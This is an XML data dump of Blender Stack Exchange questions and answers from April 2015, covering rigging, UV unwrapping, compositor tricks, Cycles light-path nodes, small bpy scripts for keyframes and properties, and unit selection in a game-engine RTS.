  <row Id="28072" PostTypeId="1" CreationDate="2015-04-04T02:53:12.200" Score="5" ViewCount="4412" Body="&lt;p&gt;How do you loft between curves in Blender.&#xA;I am finding tutorials on the subject but they seem old and outdated.&#xA;Is there a current way to do something like that? (In version 2.74)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: This is not a duplicate post because the answers that were posted are no longer valid. The CurveTools Plugin doesn't seem to work in version 2.74.&#xA;Has it been replaced with something else?&lt;/p&gt;&#xA;" OwnerUserId="11124" LastEditorDisplayName="user1853" LastEditDate="2015-04-05T03:49:27.600" LastActivityDate="2019-06-08T05:02:50.893" Title="How do you loft between curves?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28073" PostTypeId="1" CreationDate="2015-04-04T02:53:15.020" Score="2" ViewCount="721" Body="&lt;p&gt;In my human walk animation, when I play the animation, only the bones of the human move. How do I link the bones to the body so everything moves together?&lt;/p&gt;&#xA;" OwnerUserId="13610" LastActivityDate="2015-04-05T03:55:40.347" Title="Linking Bones To Human Model" Tags="&lt;bones&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28074" PostTypeId="2" ParentId="28073" CreationDate="2015-04-04T03:35:21.517" Score="1" Body="&lt;p&gt;To rig your mesh you need to parent it to armature, select first the mesh, hold &lt;kbd&gt;Shift&lt;/kbd&gt; and select the armature, while both are selected hit &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; and select automatic weights from the menu. Additional weight painting may be required. &lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-04T03:35:21.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28075" PostTypeId="2" ParentId="27744" CreationDate="2015-04-04T04:30:34.070" Score="6" Body="&lt;h2&gt;This is just not how modifiers are intended to work.&lt;/h2&gt;&#xA;&lt;p&gt;Perhaps it's just me, but I never thought of modifiers being applied to child objects. Indeed, this would seem rather strange to me.&lt;/p&gt;&#xA;&lt;h1&gt;But why?&lt;/h1&gt;&#xA;&lt;p&gt;Modifiers are another kind of datablock which can be added to objects, much like materials or constraints.&lt;/p&gt;&#xA;&lt;p&gt;Yet neither materials or constraints are applied to child objects, as this would be quite limiting. Imagine if child objects always had the same materials and constraints as the parent!&lt;br /&gt;&#xA;If this was how it worked, &lt;strong&gt;parenting objects would be pretty much equivalent to joining them&lt;/strong&gt; with &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I think the same reasoning holds true for modifiers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;And for the record, I'm not convinced that your assertion that &amp;quot;modifiers don't work in the way a lot of people would expect&amp;quot; is correct. At least in the question you linked, I don't see anything that suggests to me that the OP was expecting modifiers to affect child objects..&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;To answer your question about arraying an empty, I think parenting is not the tool you are looking for. &lt;a href=&quot;http://blender.org/manual/modeling/groups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Group instances&lt;/a&gt; sound more like the kind of &amp;quot;compound object&amp;quot; you want, however it isn't possible to add modifiers to them. This is because modifiers operate on &lt;em&gt;mesh&lt;/em&gt; data and not &lt;em&gt;objects&lt;/em&gt;, and empties don't have any mesh data (&lt;em&gt;group instances&lt;/em&gt; are empties with dupligroup enabled).&lt;/p&gt;&#xA;&lt;p&gt;Instead you could use a &lt;em&gt;particle system&lt;/em&gt; or &lt;em&gt;dupli objects&lt;/em&gt; to place objects along an arrayed face, e.g. like &lt;a href=&quot;https://blender.stackexchange.com/a/9209/599&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Or of course you could &lt;a href=&quot;https://blender.stackexchange.com/q/319/599&quot;&gt;copy the modifiers&lt;/a&gt; to all the child objects.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-04T06:42:05.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28077" PostTypeId="1" CreationDate="2015-04-04T10:09:34.260" Score="3" ViewCount="300" Body="&lt;p&gt;I need to change roll of some bones in my rig and would like to save my weight paint so I does not need to re-do it again. Is this possible. I know that I can change roll of finger bones with out deforming mesh but I cant to the same on legs :) Any thoughts :)&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2015-04-04T11:33:44.050" Title="reconfigure roll of bones without losing waightpaint" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28078" PostTypeId="1" CreationDate="2015-04-04T10:25:04.127" Score="1" ViewCount="157" Body="&lt;p&gt;I'd like write a script.&#xA;There is an object with several keyframes. (example in 1,50,100,120 frames)&#xA;I need an index and a shifting factor (let it index=2 and shift=30 frame)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script need to stretch (or move) the keyframe after the index with shift factor.&#xA;So when the script finished then the keyframe positions will be (in this case) 1,80,130,150) &#xA;I dig the blender API and I wrote some scripts already but I don't know what can I do.&#xA;Please help me.&lt;/p&gt;&#xA;" OwnerUserId="13613" LastActivityDate="2015-04-04T10:25:04.127" Title="Location keyframes shift (move) by script" Tags="&lt;python&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-04T12:47:44.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="28079" PostTypeId="1" AcceptedAnswerId="28080" CreationDate="2015-04-04T10:46:03.520" Score="2" ViewCount="51" Body="&lt;p&gt;Is it possible to achieve similar text transition while retaining text object edit ability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=86211&quot; rel=&quot;nofollow noreferrer&quot;&gt;move yourself http://www.pasteall.org/pic/show.php?id=86211&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13486" LastActivityDate="2015-04-04T11:11:56.377" Title="Is it possible to divide text object horizontally, while retaining edit ability?" Tags="&lt;animation&gt;&lt;compositor&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28080" PostTypeId="2" ParentId="28079" CreationDate="2015-04-04T11:11:56.377" Score="3" Body="&lt;p&gt;Sure but you would have to convert it into another form.&#xA;If you Convert &gt; Mesh then you cannot edit the text.&#xA;If you use the scene output then it becomes an image that you can modify in the compositor (or in the VSE but the tools are not as complete)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up a camera to look at the text, I have used a shadeless material. Remember to set scene property to render alpha not sky.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QEAxP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add scene node to compositor (use another scene if you like). Then split the same input into 2 with a crop node. Move them separately with a Translate node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zLbxk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-04T11:11:56.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28081" PostTypeId="2" ParentId="28077" CreationDate="2015-04-04T11:33:44.050" Score="2" Body="&lt;p&gt;Changing the roll of bones will not effect your weight painting and your model in rest-position will be exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will change is your bones pose transformations -&gt; your armature in pose mode will look different. That's because such transformations are in local space and changing the roll of bones changes the bone's coordinate system base around it's Y axis.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-04T11:33:44.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28082" PostTypeId="1" CreationDate="2015-04-04T11:44:34.810" Score="-1" ViewCount="3238" Body="&lt;p&gt;I plan to get a new MacBook Pro Retina 15&quot; Broadwell with Iris Pro graphics card (Not dedicated) in the Summer 2015, can I run Blender for Mac in this machine?&lt;/p&gt;&#xA;" OwnerUserId="13614" LastEditorUserId="2217" LastEditDate="2015-04-04T21:35:30.203" LastActivityDate="2015-04-04T21:35:30.203" Title="can I run Blender for MacBookPro(Iris Pro broadwell) in this machine" Tags="&lt;compatibility&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-04T21:49:59.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="28083" PostTypeId="1" AcceptedAnswerId="28084" CreationDate="2015-04-04T11:54:30.537" Score="5" ViewCount="889" Body="&lt;p&gt;Basically using particle emitter to emit trees for a forest. Problem is they emit to close to each other making it look messy is there anyway I can make the particle system detect the other particles emitted and not collide with each other when emitted. This is being done using hair(needed) and heard about dynamic paint but couldn't work out how it can fix this issue. &lt;img src=&quot;https://i.stack.imgur.com/mbZ8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2015-04-04T12:30:19.270" Title="Particle System, objects emitted colliding" Tags="&lt;cycles-render-engine&gt;&lt;objects&gt;&lt;particles&gt;&lt;physics&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28084" PostTypeId="2" ParentId="28083" CreationDate="2015-04-04T12:09:41.067" Score="5" Body="&lt;p&gt;I think you could set a big size to the particles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then use the &lt;a href=&quot;http://pyroevil.com/molecular-script-docs/&quot; rel=&quot;noreferrer&quot;&gt;Molecular Script&lt;/a&gt; addon and enable the Activate Self Collision option.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j71Um.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13580" LastEditorUserId="5113" LastEditDate="2015-04-04T12:30:19.270" LastActivityDate="2015-04-04T12:30:19.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28085" PostTypeId="1" CreationDate="2015-04-04T12:39:58.700" Score="2" ViewCount="9700" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X9IjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I need to texture the mesh trying to add a UV map to it first. Clicking &quot;Follow active Quads&quot; has no effect whatsoever in the UV/image editor. Using Blender v2.71 and cannot figure out the problem here I tried many times and made new files but nothing is giving a response in the UV editor.&#xA; I did everything exactly as in this tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=MVh2KG01Qtk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=MVh2KG01Qtk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1VLeU.jpg&quot; alt=&quot;&quot;&gt;&#xA;Just tried again, similar results. I opened a new file, deleted the cube, added a plane, added a nurbs curve added array modifier and curve modifier to plane, applied modifiers, this time resulting in a white plane after selecting follow active quads:&lt;/p&gt;&#xA;" OwnerUserId="13454" LastEditorDisplayName="user1853" LastEditDate="2016-08-24T16:15:53.917" LastActivityDate="2018-02-19T10:58:34.543" Title="'Follow Active Quads&quot; not working?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28086" PostTypeId="1" CreationDate="2015-04-04T13:54:22.207" Score="2" ViewCount="1656" Body="&lt;p&gt;I've got 2 properties. My first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hT = EnumProperty(items=(('A', &quot;None&quot;, &quot;&quot;),&#xA;                         ('B',&quot;LeMans 40&quot;, &quot;&quot;),&#xA;                         ('C',&quot;LeMans 45&quot;, &quot;&quot;),&#xA;                         ('D',&quot;LeMans 50&quot;, &quot;&quot;),&#xA;                         ('E',&quot;LeMans 60&quot;, &quot;&quot;)), &#xA;                         default='C', name=&quot;Hardeware type&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My second:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; fW = IntProperty(name=&quot;Width&quot;, &#xA;             default=838, min=800, max=2700, description=&quot;Furniture width&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first property is for choosing the hardware of my furniture.&#xA;Each hardware needs a minimum dimension of its furniture. So, for example, if I choose &quot;LeMans 60&quot;, the &quot;default&quot; and &quot;min&quot; value of my second property need to change to 998.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do that or do I need to create a property with its own default, min and max value ?      &lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="241" LastEditDate="2015-04-04T14:45:26.707" LastActivityDate="2018-12-07T10:37:46.407" Title="How can I change IntProperty default value?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28087" PostTypeId="2" ParentId="27986" CreationDate="2015-04-04T17:53:39.977" Score="1" Body="&lt;p&gt;You may try to press shift+f in the viewport, and then tab to turn on gravity, this let's you walk around scene using WSAD and space for jump. Additionally, you have &quot;height&quot; and &quot;jump height&quot; settings in bottom left part of preferences/input tab &lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=86222&quot; rel=&quot;nofollow noreferrer&quot;&gt;pref_pan http://www.pasteall.org/pic/show.php?id=86222&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13486" LastActivityDate="2015-04-04T17:53:39.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28088" PostTypeId="1" CreationDate="2015-04-04T18:13:40.553" Score="2" ViewCount="32" Body="&lt;p&gt;I am trying to make a black border appear around a building in BGE (it is an RTS).  I don't know how this could be done (without drawing black around the textures and the textures on the building do not match that way) if anyone could help then that would be awesome! Thanks!&lt;img src=&quot;https://i.stack.imgur.com/B0KWu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9q0E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13619" LastActivityDate="2015-04-04T18:13:40.553" Title="How can I make a black 3d border around an object in BGE during gameplay?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-04T18:55:20.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="28089" PostTypeId="2" ParentId="28085" CreationDate="2015-04-04T19:13:18.210" Score="2" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using an array modifier the mesh of your object is sill only &lt;strong&gt;one&lt;/strong&gt; plane that is repeated along a curve. The follow active quads will not work until you &lt;strong&gt;apply&lt;/strong&gt; the modifier: only then your mesh will be a sereis of connected planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you do that then you can do proper unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First select just one face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select then all of the faces (press &lt;kbd&gt;A&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see that the face you had selected first is marked as active (with a dotted pattern)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then do unwrap (&lt;kbd&gt;U&lt;/kbd&gt;) Follow Active Quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjlhV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-08T16:48:29.847" LastActivityDate="2015-04-08T16:48:29.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28090" PostTypeId="2" ParentId="28082" CreationDate="2015-04-04T19:30:17.473" Score="2" Body="&lt;p&gt;Blender will work for sure, even on a computer without a dedicated Nvidia GPU .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cylces rendering on GPU might be limited. You will need to enable &lt;em&gt;experimental&lt;/em&gt; features to work on OpenCl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable OpenCL read &lt;a href=&quot;https://blender.stackexchange.com/questions/21777/turn-on-cycles-gpu-render-on-non-cuda-computers/26195#26195&quot;&gt;turn on Cycles GPU render on non CUDA computers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-04-04T19:30:17.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28091" PostTypeId="2" ParentId="28086" CreationDate="2015-04-04T19:38:53.327" Score="4" Body="&lt;p&gt;You can't do that to an actual instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.types.Object.prop = bpy.props.IntProperty()&#xA;&#xA;bpy.context.active_object.prop&#xA;# this evaluates what the value is and returns &amp;lt;class 'int'&amp;gt; - not subscriptable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j3XCA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j3XCA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust the min max etc. you need to re-declare it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.prop = bpy.props.IntProperty(min=100, max=300)&#xA;# note: re-declaring will change it for all the objects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing the &lt;code&gt;default&lt;/code&gt; value will not change the actual value of that static property - you will need to assign it a new value in that case. But newly created objects will have this new default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make it work like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_66_release/bpy.props.html#update-example&quot; rel=&quot;nofollow noreferrer&quot;&gt;callback function&lt;/a&gt; for your &lt;code&gt;hT&lt;/code&gt; property&lt;/li&gt;&#xA;&lt;li&gt;have this function re-declare your &lt;code&gt;fW&lt;/code&gt; property with new parameters based on &lt;code&gt;hT&lt;/code&gt; value&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2018-12-07T10:37:46.407" LastActivityDate="2018-12-07T10:37:46.407" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28092" PostTypeId="2" ParentId="28049" CreationDate="2015-04-04T20:13:05.037" Score="14" Body="&lt;p&gt;The &lt;a href=&quot;http://blender.org/manual/render/cycles/settings/light_paths.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Light path&lt;/em&gt;&lt;/a&gt; node allows you to make shaders do different things based on where the incoming light ray was before. When thinking about where &quot;before&quot; is, keep in mind that cycles is a &lt;em&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5820/599&quot;&gt;backwards&lt;/a&gt;&lt;/em&gt; path-tracer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Ray Depth&lt;/em&gt; output of the light path node gives the number of bounces the ray went through before hitting the lamp (or whatever is using the shader).&lt;br&gt;&#xA;So when tracing backwards from the camera to the lamp, surfaces which are directly illuminated (1 bounce away) will hit a lamp with a corresponding strength of 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzOlb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surfaces illuminated by indirect lighting (2 or more bounces before hitting a light source) will &quot;see&quot; a correspondingly stronger light source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j5fdy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see it in action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baUy5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why it appears &quot;more realistic&quot;, I think this really just an artifact of the lamp being way too bright in the first example (it looks fine when the strength in the &lt;em&gt;light falloff node&lt;/em&gt; is then set to 1). In fact the setup with the ray depth is &lt;em&gt;less&lt;/em&gt; technically realistic, as explained above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally the light falloff node is plugged into the &lt;em&gt;strength&lt;/em&gt;, not the color. Then with the default strength of 100 it looks just fine: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zOhJY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-04-04T20:13:05.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28093" PostTypeId="1" AcceptedAnswerId="28094" CreationDate="2015-04-05T00:34:04.950" Score="5" ViewCount="581" Body="&lt;p&gt;I am working with a blender3d animation where I need some objects appear/hide at specific frames. I made all the work using the eye icon (visibility view-port) instead of camera icon (render-visibility) before discovering that they are not the same :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from animating everything again and hitting my head on the wall for not reading the whole manual, is there some python script or something to move the existing animation keyframes from one channel to the other? &lt;/p&gt;&#xA;" OwnerUserId="12822" LastEditorUserId="6385" LastEditDate="2015-04-05T02:20:07.287" LastActivityDate="2015-04-05T20:03:17.753" Title="how to move or copy all the viewport visibility keyframes to render-visibility channels?" Tags="&lt;python&gt;&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28094" PostTypeId="2" ParentId="28093" CreationDate="2015-04-05T01:15:34.820" Score="5" Body="&lt;p&gt;you can use this script to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;clean the render visibility channels&lt;/li&gt;&#xA;&lt;li&gt;create new render visibility channel from the viewport visibility channel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/em&gt;&lt;/strong&gt; this is for all object in the current scene&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;# clean all render view channels            &#xA;for action in bpy.data.actions :&#xA;    for fcurve in action.fcurves :&#xA;        if fcurve.data_path == 'hide_render':&#xA;              action.fcurves.remove(fcurve)&#xA;&#xA;#create new render view channel and fill it from the viewport view channel&#xA;for action in bpy.data.actions :&#xA;    for fcurve in action.fcurves :&#xA;        if fcurve.data_path == 'hide':&#xA;            render_fcurve = action.fcurves.new('hide_render')&#xA;            for p in fcurve.keyframe_points :&#xA;                render_fcurve.keyframe_points.insert(p.co[0], p.co[1])&#xA;                #set the interpolation from BEZIER to CONSTANT&#xA;                render_fcurve.keyframe_points[-1].interpolation = 'CONSTANT'&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-05T20:03:17.753" LastActivityDate="2015-04-05T20:03:17.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28095" PostTypeId="1" AcceptedAnswerId="28133" CreationDate="2015-04-05T01:26:26.173" Score="3" ViewCount="1137" Body="&lt;p&gt;I am making an rts in blender and do not no too much about Python.  Right now I have a cube (which will later be a character with an animation) that follows a mouse tracker (a cone facing down that moves wherever you click and the cube tracks and follows it.  If I duplicated them then all the cubes would go wherever I would  click to place the mousetracker.  How could I make it so you can &quot;select&quot; a cube with a rectangular selection box (or clicking it with a mouse button that is different to the mouse button used to move the mousetracker) please do not direct me to any tutorials as I would like to use the mousetracker to move them.  Help would be appreciated!  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13622" LastActivityDate="2015-04-05T23:13:52.910" Title="In a BGE RTS, how could I make a selection box to select Units?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28096" PostTypeId="1" AcceptedAnswerId="28160" CreationDate="2015-04-05T01:38:41.497" Score="2" ViewCount="138" Body="&lt;p&gt;In a follow up to &lt;a href=&quot;https://blender.stackexchange.com/questions/28095/in-a-bge-rts-how-could-i-make-a-selection-box-to-select-units&quot;&gt;this&lt;/a&gt; fantastic question that I've been waiting for some one to ask, I would like to know how I can send d people in an RTS game to different locations. I already have an empty being added with a different property each time I click, but I don't know how to get flocks to only steer toward an object with a certain property, and not just the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set an object to only seek empty with property[goto]=1 while anoter group is seeking empty with property[goto]=2, and so forth? This would be really helpful, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/155/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=155&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-04-06T18:22:58.967" Title="My soldiers all march to the same spot, how do i give them seperate orders simulanelously?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28097" PostTypeId="2" ParentId="28095" CreationDate="2015-04-05T02:15:30.623" Score="2" Body="&lt;p&gt;Here's how to select people in general, by clicking on them with a button other then the one that sets the mouse tracker. Unfortunately, I don't know how to do a draw-box, but if someone else does, I would be super thrilled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add a mouse sensor, and set the field from the default Left-Mouse-Button to something else, like Middle-click, or Right-Mouse-Button. You also need a property on the cube; call it &quot;active&quot;. This property needs to change to &quot;True&quot; when the cube is selected, and &quot;False&quot; when the cube is inactive; therefore, the &lt;em&gt;Boolean&lt;/em&gt; variable type would be the best for this property, since there are only two different modes.&#xA;In order to change it, you need a &quot;Property&quot; actuator set to toggle (that way you can deselect also). In the field with the little bullet, (the property field) enter &quot;Active&quot; which is the name of the property you want changed. &#xA;Connect the actuator to your Mouse sensor you created earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you click on a cube, it will set the property &quot;Active&quot; to true.&#xA;All you need to do is create another property sensor, set the evaluation type to &quot;Equal&quot; and enter true for the search, with Active as the property to be evaluated. connect this to the &lt;em&gt;AND&lt;/em&gt; controller that allows your cube to steer toward the tracker and &lt;em&gt;Viola!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a blend to show you. hit Num5 to add people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/155/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=155&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:29:22.580" LastActivityDate="2015-04-05T02:15:30.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28098" PostTypeId="2" ParentId="28073" CreationDate="2015-04-05T03:55:40.347" Score="3" Body="&lt;p&gt;This is an addition to @Denis 's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other armature deform options, but with automatic weights looks like it's the most reliable with empty groups weights in a close second. It all just depends on how you want your mesh to deform. I made a turkey to show you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NvgvH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19656/how-are-bones-armatures-connected-to-the-rest-of-a-model/19658#19658&quot;&gt;here&lt;/a&gt; is the article to look to for a run-down on armatures, by yours truly.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-04-05T03:55:40.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
